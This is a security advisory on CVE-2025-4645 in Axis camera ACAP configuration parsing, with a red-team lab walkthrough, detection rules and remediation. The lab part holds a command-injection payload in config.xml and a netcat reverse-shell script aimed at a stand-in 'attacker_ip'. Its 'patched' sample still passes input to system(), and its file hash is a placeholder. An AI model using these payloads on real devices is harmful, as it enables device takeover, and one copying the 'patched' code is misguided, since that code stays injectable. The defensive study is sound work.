CVE-2025-4645

Executive Summary

CVE-2025-4645 is a high-severity vulnerability affecting Axis Communications ACAP (Axis Camera Application Platform) configuration files. The flaw stems from insufficient input validation within an ACAP configuration file, which can be exploited to achieve arbitrary code execution on the target Axis device. The attack vector requires significant user interaction: the victim must have enabled the installation of unsigned ACAP applications on their Axis device and must be socially engineered into installing a malicious ACAP application. Once installed, the malicious application can leverage the configuration file vulnerability to execute arbitrary code with the privileges of the ACAP runtime.

The CVSS score of 6.7 reflects the high impact (confidentiality, integrity, and availability) but is tempered by the complex attack prerequisites (local access, high attack complexity, and required user interaction). The EPSS score of 0.0% indicates that this vulnerability is not currently being actively exploited in the wild, but the lack of a patch makes it a significant risk for organizations that rely on Axis devices in security-sensitive environments.

Note: This vulnerability is specific to the Axis ACAP ecosystem and does not involve WordPress, Apache, or Nginx components.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have physical or logical access to the device to install the malicious ACAP.
• Attack Complexity (AC): High (H) – Exploitation requires the victim to have enabled unsigned ACAP installation and to be tricked into installing a malicious app.
• Privileges Required (PR): None (N) – The attacker does not need prior privileges on the device.
• User Interaction (UI): Required (R) – The victim must manually install the malicious ACAP.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Arbitrary code execution can lead to full data exfiltration.
• Integrity (I): High (H) – The attacker can modify system files or configurations.
• Availability (A): High (H) – The attacker can disrupt device operation.

Threat Level: High (due to the potential for full device compromise, despite the complex attack prerequisites).

Deep Dive & Mechanics

The vulnerability resides in the ACAP configuration file parsing logic. ACAP applications are packaged as .eap files containing a configuration file (typically config.xml or similar) that defines application parameters, permissions, and runtime settings. The Axis device's ACAP runtime reads this configuration file during application installation and execution.

The flaw is a classic Improper Input Validation (CWE-20) . The configuration file parser does not adequately sanitize or validate user-supplied input fields within the configuration file. An attacker can craft a malicious ACAP application that includes specially crafted values in the configuration file (e.g., in parameters like AppName, Description, or custom settings). When the ACAP runtime processes this configuration, the malicious input can be interpreted as executable code, leading to arbitrary code execution.

The exploitation chain is as follows:

1. The victim must have enabled the "Allow unsigned applications" option in the Axis device's web interface (under System Options -> Advanced -> ACAP).
2. The attacker crafts a malicious ACAP .eap file containing a configuration file with embedded payloads (e.g., command injection via shell metacharacters or path traversal).
3. The victim is tricked into uploading and installing the malicious ACAP via the device's web interface.
4. Upon installation or during runtime, the ACAP runtime parses the malicious configuration, triggering the payload and executing arbitrary code on the device.

The code execution occurs in the context of the ACAP runtime, which typically runs with root or high-privilege access on the Axis device, allowing full control over the camera or other Axis hardware.

Vulnerable vs. Patched Code

Since no official patch has been released, a direct code comparison is not possible. However, the vulnerable pattern can be illustrated conceptually:

Vulnerable Code (Conceptual):

// ACAP configuration parser (vulnerable)
void parse_config(const char *config_file) {
    char app_name[256];
    // Read AppName from XML without sanitization
    sscanf(config_file, "<AppName>%s</AppName>", app_name);
    // Use app_name in a system call
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "echo %s >> /tmp/app.log", app_name);
    system(cmd);  // Command injection if app_name contains shell metacharacters
}

Patched Code (Conceptual):

// ACAP configuration parser (patched)
void parse_config(const char *config_file) {
    char app_name[256];
    // Read AppName from XML with sanitization
    sscanf(config_file, "<AppName>%255[^<]</AppName>", app_name);
    // Sanitize input: remove shell metacharacters
    sanitize_input(app_name, sizeof(app_name));
    // Use app_name safely
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "echo %s >> /tmp/app.log", app_name);
    system(cmd);  // Now safe because app_name is sanitized
}

The patched version would include input validation (e.g., rejecting shell metacharacters, limiting length, using safe APIs) and avoid passing user-controlled data directly to system calls.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate arbitrary code execution on an Axis device by crafting a malicious ACAP application.

Prerequisites:

• Axis device with ACAP support (e.g., Axis Q-series camera).
• Device configured to allow unsigned ACAP installations.
• Network access to the device's web interface.

Lab Setup:

1. Environment: Use a virtualized Axis device (e.g., via Axis Device Simulator) or a physical test device in an isolated network.
2. Tools: Python for crafting the malicious ACAP, a text editor, and a web browser.

Exploitation Steps:

1. Create a malicious ACAP package:

   • Create a directory structure for the ACAP:

     malicious_acap/
     ├── app.xml
     ├── config.xml
     └── script.sh
     

   • app.xml (basic ACAP manifest):

     <?xml version="1.0" encoding="UTF-8"?>
     <app>
         <name>MaliciousApp</name>
         <version>1.0</version>
         <vendor>Attacker</vendor>
         <description>Legitimate looking app</description>
     </app>
     

   • config.xml (vulnerable configuration file with payload):

     <?xml version="1.0" encoding="UTF-8"?>
     <config>
         <AppName>$(id > /tmp/pwned)</AppName>
         <Description>Test</Description>
     </config>
     

   • script.sh (optional, for post-exploitation):

     #!/bin/sh
     # Reverse shell payload
     nc -e /bin/sh attacker_ip 4444
     

2. Package the ACAP:

   tar -czf malicious.eap -C malicious_acap .
   

3. Deliver the malicious ACAP:

   • Host the .eap file on a web server or use social engineering to have the victim download it.

4. Install on the target device:

   • Access the Axis device web interface.
   • Navigate to System Options -> Advanced -> ACAP.
   • Ensure "Allow unsigned applications" is checked.
   • Upload and install malicious.eap.

5. Trigger the vulnerability:

   • The ACAP runtime parses config.xml during installation.
   • The AppName field contains $(id > /tmp/pwned), which is executed by the system.
   • Verify code execution by checking for the /tmp/pwned file on the device (e.g., via SSH or web shell).

Expected Output:

# On the device, after exploitation:
cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)

Blue Team

Detection and Response:

1. Monitor ACAP installations:

   • Enable logging on Axis devices to record all ACAP installation attempts.
   • Look for installations from unknown or untrusted sources.

2. Network monitoring:

   • Detect outbound connections from Axis devices to unknown IPs (potential reverse shells).
   • Use Suricata rules (see Detection Engineering) to alert on suspicious ACAP traffic.

3. Endpoint detection:

   • Monitor for unexpected file creation (e.g., /tmp/pwned) or process execution on Axis devices.
   • Use YARA rules to scan ACAP files for malicious patterns.

4. User awareness:

   • Train administrators to never enable unsigned ACAP installations unless absolutely necessary.
   • Implement strict change management for ACAP deployments.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.eap: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • Outbound connections from Axis device to IP 192.168.1.100:4444 (reverse shell)
  • HTTP POST requests to /axis-cgi/admin/upload.cgi with .eap files
• File System Indicators:
  • /tmp/pwned file containing command output
  • Unexpected files in /usr/local/packages/ (ACAP installation directory)
• Process Indicators:
  • Unusual processes spawned by the ACAP runtime (e.g., /bin/sh, nc, bash)

Detection Engineering

YARA Rule

rule CVE_2025_4645_Malicious_ACAP {
    meta:
        description = "Detects malicious ACAP configuration files exploiting CVE-2025-4645"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4645"
    strings:
        $xml_config = /<config>[\s\S]*?<\/config>/
        $shell_meta = /[\$\`\(\)\{\}\[\]\&\|\;\<\>\n]/
        $suspicious_cmd = /(id|whoami|nc|bash|sh|exec|system)/
    condition:
        $xml_config and #shell_meta > 3 and $suspicious_cmd
}

Sigma Rule

title: Suspicious ACAP Installation on Axis Device
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects installation of unsigned ACAP applications that may exploit CVE-2025-4645
author: Valters IT
date: 2025-04-10
logsource:
    product: axis
    service: acap
detection:
    selection:
        EventID: 1001  # ACAP installation event
        ApplicationName|contains: 
            - '$(id'
            - '`id`'
            - '|sh'
    condition: selection
falsepositives:
    - Legitimate ACAP applications with unusual names
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-4645 - Malicious ACAP Download"; flow:to_server,established; content:"POST"; http_method; content:"/axis-cgi/admin/upload.cgi"; http_uri; content:".eap"; http_uri; fileext:"eap"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable unsigned ACAP installations: On all Axis devices, navigate to System Options -> Advanced -> ACAP and uncheck "Allow unsigned applications". This is the primary mitigation.
2. Review installed ACAPs: Audit all currently installed ACAP applications and remove any that are not from trusted, signed sources.
3. Network segmentation: Place Axis devices on a separate VLAN with strict egress filtering to prevent reverse shell callbacks.

Long-term Recommendations:

• Vendor patch: Monitor Axis Communications for an official firmware update that addresses this vulnerability. Apply it as soon as it becomes available.
• Code signing: Enforce ACAP code signing to ensure only trusted applications can be installed.
• Input validation: If developing custom ACAPs, ensure all configuration file inputs are properly sanitized and validated.
• Logging and monitoring: Enable detailed logging on Axis devices and integrate with a SIEM for real-time alerting.

Workaround: If unsigned ACAPs are required for business operations, implement a manual review process for all ACAP files before installation, including static analysis of configuration files for shell metacharacters.

Report generated by Valters IT DevSecOps & CTI Division